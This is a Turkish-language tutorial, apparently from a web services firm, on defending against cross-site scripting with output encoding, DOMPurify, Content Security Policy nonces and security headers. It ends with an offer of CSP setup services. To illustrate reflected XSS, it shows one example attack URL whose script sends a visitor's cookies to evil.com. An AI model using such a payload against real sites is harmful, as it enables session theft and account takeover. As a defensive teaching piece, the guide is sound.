Cross-site scripting (XSS), saldırganın kurban tarayıcısında kendi JavaScript''ini çalıştırdığı saldırı türüdür. Çerez çalma, oturum devralma, phishing — hepsi XSS ile mümkün. Koruma iki katmanlıdır: output encoding (kodu metin olarak göster) ve Content Security Policy (tarayıcı seviyesinde script engelle).

XSS Türleri

İlgili rehberler: SSL sertifikası nasıl alınır · OWASP Top 10 2026 · JWT güvenlik · SQL injection önleme · Parola hash (BCrypt, Argon2)

1) Reflected XSS

Kullanıcı input''u URL''den alınıp sayfaya echo''lanır, sanitize edilmez. Saldırgan hazırladığı linki kurbana gönderir.

<!-- Açık endpoint: /search?q=... -->
<h1>Arama sonucu: <%= req.query.q %></h1>

<!-- Saldırgan link: -->
https://site.com/search?q=<script>fetch('https://evil.com?c='+document.cookie)</script>

2) Stored XSS

Kötü niyetli script DB''ye kaydedilir, sonraki tüm ziyaretçiler saldırıya uğrar. En tehlikeli tür — forum yorumu, yorum, profil biyografisi gibi alanlarda yaygındır.

3) DOM-based XSS

Sunucu hiç karışmaz. JavaScript location.hash veya document.referrer gibi kaynakları alıp innerHTML ile DOM''a yazar. Saldırı tamamen tarayıcıda gerçekleşir, WAF yakalayamaz.

Temel Koruma: Output Encoding

Kullanıcı veriyi ekrana yazarken her zaman context''e uygun encode edin. HTML body, HTML attribute, JavaScript, URL, CSS — her biri farklı encoding ister.

// EJS template — varsayılan escape
<%= userInput %>       // GÜVENLI — < > & ' " escape edilir
<%- userInput %>       // TEHLİKELİ — ham HTML

// React — varsayılan escape
<div>{userInput}</div>          // GÜVENLI
<div dangerouslySetInnerHTML={{__html: userInput}} />  // TEHLİKELİ

// Manuel escape (raw string için)
function escapeHtml(s) {
    return s.replace(/[&<>"']/g, c => ({
        '&': '&amp;', '<': '&lt;', '>': '&gt;',
        '"': '&quot;', "'": '&#39;'
    })[c]);
}

Sanitization (HTML İçerik İçin)

Bazı alanlarda kullanıcının HTML yazmasına izin verilmesi gerekir (zengin metin editörü). O zaman whitelist bazlı sanitizer kullanın. Asla kendi regex''inizi yazmayın — DOMPurify (JS) ve bleach (Python) endüstri standardıdır.

// Client-side
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirty, {
    ALLOWED_TAGS: ['p','strong','em','a','ul','li','h2','h3'],
    ALLOWED_ATTR: ['href']
});

// Server-side (Node)
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DOMPurify = createDOMPurify(new JSDOM('').window);
const clean = DOMPurify.sanitize(dirty);

Content Security Policy (CSP)

CSP, tarayıcıya "bu sayfada sadece şu kaynaklardan script/style/img yüklenebilir" diyen HTTP header''ıdır. Doğru yapılandırıldığında XSS saldırısı olsa bile script çalışmaz.

Content-Security-Policy:
    default-src 'self';
    script-src 'self' 'nonce-RANDOM' https://cdn.jsdelivr.net;
    style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
    img-src 'self' data: https://cdn.example.com;
    connect-src 'self';
    frame-ancestors 'self';
    base-uri 'self';
    object-src 'none';
    upgrade-insecure-requests;

Nonce ile Inline Script

Inline script''leri tamamen yasaklamak çoğu uygulamada pratik değildir. Nonce (number-used-once) ile her sayfa yüklemesinde random bir token üretip hem CSP header''a hem script tag''e ekleyin — CSP sadece o nonce''u taşıyan script''e izin verir.

// Express + Helmet
const crypto = require('crypto');
app.use((req, res, next) => {
    res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
    next();
});

app.use(helmet({
    contentSecurityPolicy: {
        directives: {
            defaultSrc: ["'self'"],
            scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.cspNonce}'`]
        }
    }
}));
<!-- EJS template -->
<script nonce="<%= cspNonce %>">
    console.log('Bu çalışır — nonce var');
</script>
<script>
    console.log('Bu çalışmaz — nonce yok, CSP bloklar');
</script>

Ek Güvenlik Header''ları

X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Cookie: HttpOnly; Secure; SameSite=Strict
Uyarı
HttpOnly cookie''de oturum ID''niz XSS ile çalınamaz (JavaScript okuyamaz). Her sensitive cookie için zorunlu.

CSP Rapor Toplama

İlk CSP''yi prodüksiyona koymadan önce Content-Security-Policy-Report-Only modu kullanın — tarayıcı ihlali bildirir ama bloklamaz. Logları analiz edip policy''yi kalibre edin.

Web Güvenliği ve Uygulama Savunması

Modern web güvenliği katmanlı savunma (defense-in-depth) ile yapılır: TLS 1.3 ve HSTS ile şifreli iletişim, WAF (Web Application Firewall) ile OWASP Top 10 saldırılarına karşı koruma, BCrypt veya Argon2id ile parola hash'leme, JWT token'larında imza doğrulama (HMAC veya RSA), CSRF token + SameSite cookie ile cross-site istek koruması ve Content Security Policy ile XSS azaltma. SQL injection önleme için prepared statement, brute force için fail2ban veya rate limiting, DDoS koruması için Cloudflare/Anti-DDoS sağlayıcı zorunludur. Güvenlik açığı taraması (Burp Suite, OWASP ZAP) ve düzenli güvenlik denetimi; üretim ortamında veri sızıntısı ve hesap ele geçirme risklerini büyük ölçüde azaltır.

Uygulamanıza CSP kuralım

XSS denetimi, CSP tasarımı ve security header optimizasyonu için bize yazın

WhatsApp